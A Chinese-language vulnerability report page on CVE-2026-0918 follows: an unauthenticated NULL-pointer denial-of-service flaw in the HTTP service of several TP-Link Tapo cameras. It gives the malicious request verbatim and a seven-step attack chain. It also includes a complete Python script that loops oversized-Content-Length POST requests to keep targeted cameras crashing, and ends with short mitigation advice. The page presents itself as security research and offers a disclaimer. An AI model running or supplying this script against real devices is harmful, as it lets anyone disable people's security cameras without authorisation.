IPBUF安全漏洞报告
English
CVE-2026-0918 CVSS 7.5 高危

CVE-2026-0918: TP-Link Tapo系列摄像头HTTP服务NULL指针解引用拒绝服务漏洞

披露日期: 2026-01-27
来源: f23511db-6c3e-4e32-a477-6aa17d310630

漏洞信息

漏洞编号
CVE-2026-0918
漏洞类型
拒绝服务
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
TP-Link Tapo C100 v5, C220 v1, C520WS v2摄像头

相关标签

拒绝服务NULL指针解引用TP-LinkTapo摄像头内存分配失败CVE-2026-0918高危漏洞HTTP服务Smart HomeIoT设备

漏洞概述

CVE-2026-0918是影响TP-Link Tapo系列摄像头(C100 v5、C220 v1和C520WS v2)的拒绝服务漏洞。该漏洞存在于摄像头的HTTP服务中,当处理包含超大Content-Length头的POST请求时,服务无法安全地处理内存分配失败的情况。攻击者发送的恶意请求会导致内存分配失败,进而触发NULL指针解引用错误,使主服务进程崩溃。由于该漏洞无需认证即可利用,攻击者可以在未登录设备的情况下直接发起攻击。设备虽然会自动重启,但攻击者可以通过反复发送恶意请求,使设备持续处于不可用状态,实现持续性拒绝服务攻击。此漏洞的CVSS评分为7.5,属于高危级别,攻击复杂度低,无需用户交互,机密性影响低,但可用性影响高。

技术细节

漏洞根源在于HTTP服务对POST请求的Content-Length头缺乏有效验证。当收到包含超大Content-Length值的请求时,服务尝试分配相应大小的内存缓冲区。如果内存分配失败(例如由于请求大小超过可用内存或超过服务设置的限制),处理函数未正确检查malloc/new的返回值,直接将NULL指针传递给后续处理逻辑。攻击者构造的恶意请求格式为:POST / HTTP/1.1\r\nHost: target\r\nContent-Length: 99999999999999999\r\n\r\n。当服务解析到该请求时,尝试分配超大内存失败,返回NULL指针。随后服务尝试解引用该NULL指针进行后续操作(如memcpy、strcpy等内存操作),导致程序崩溃。攻击者可通过脚本循环发送此类请求,每次请求都会使服务崩溃重启,实现持续性DoS攻击。

攻击链分析

STEP 1
步骤1
攻击者识别目标TP-Link Tapo摄像头设备(C100 v5、C220 v1或C520WS v2),并确定其IP地址和HTTP服务端口
STEP 2
步骤2
攻击者构造包含超大Content-Length头的恶意HTTP POST请求,值设置为远超过实际可用内存的数值(如99999999999999999)
STEP 3
步骤3
攻击者通过TCP连接向目标设备的HTTP服务发送恶意请求
STEP 4
步骤4
HTTP服务解析请求并尝试为请求体分配内存,由于请求大小超过限制,malloc/new返回NULL
STEP 5
步骤5
服务代码未正确检查内存分配返回值,直接将NULL指针传递给后续处理函数,导致NULL指针解引用
STEP 6
步骤6
程序崩溃,主服务进程终止,设备暂时不可用
STEP 7
步骤7
设备自动重启后,攻击者重复发送恶意请求,实现持续性拒绝服务攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2026-0918 PoC - TP-Link Tapo Camera HTTP Service DoS Description: Send POST request with oversized Content-Length header to trigger NULL pointer dereference and crash the service. """ import socket import time import argparse def send_malicious_request(target_ip, target_port, content_length): """ Send a POST request with an excessively large Content-Length header to trigger the NULL pointer dereference vulnerability. Args: target_ip: Target camera IP address target_port: HTTP service port (default: 80) content_length: Oversized Content-Length value """ # Construct the malicious HTTP request request = f"POST / HTTP/1.1\r\n" request += f"Host: {target_ip}\r\n" request += f"Content-Length: {content_length}\r\n" request += "Connection: keep-alive\r\n" request += "\r\n" try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) sock.connect((target_ip, target_port)) sock.send(request.encode()) print(f"[+] Malicious request sent with Content-Length: {content_length}") sock.close() return True except Exception as e: print(f"[-] Error sending request: {e}") return False def dos_attack(target_ip, target_port, iterations=10, delay=2): """ Perform denial of service attack by repeatedly sending malicious requests. Args: target_ip: Target camera IP address target_port: HTTP service port iterations: Number of attack iterations delay: Delay between requests in seconds """ print(f"[*] Starting DoS attack against {target_ip}:{target_port}") print(f"[*] Sending {iterations} malicious requests...") # Use an extremely large Content-Length value oversized_length = 99999999999999999 for i in range(iterations): print(f"[*] Iteration {i+1}/{iterations}") send_malicious_request(target_ip, target_port, oversized_length) time.sleep(delay) print("[*] Attack completed. Service should be continuously crashing.") if __name__ == "__main__": parser = argparse.ArgumentParser(description='CVE-2026-0918 PoC') parser.add_argument('--target', required=True, help='Target IP address') parser.add_argument('--port', type=int, default=80, help='Target port (default: 80)') parser.add_argument('--iterations', type=int, default=10, help='Number of attack iterations') parser.add_argument('--delay', type=float, default=2.0, help='Delay between requests (seconds)') args = parser.parse_args() dos_attack(args.target, args.port, args.iterations, args.delay)

影响范围

TP-Link Tapo C100 固件版本 v5
TP-Link Tapo C220 固件版本 v1
TP-Link Tapo C520WS 固件版本 v2

防御指南

临时缓解措施
在HTTP服务前端部署流量过滤规则,限制Content-Length头的最大值;启用设备防火墙功能,限制对HTTP管理接口的访问来源;将摄像头设备置于受保护的网段,与关键业务系统隔离;监控设备运行状态,发现异常重启行为时及时排查。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表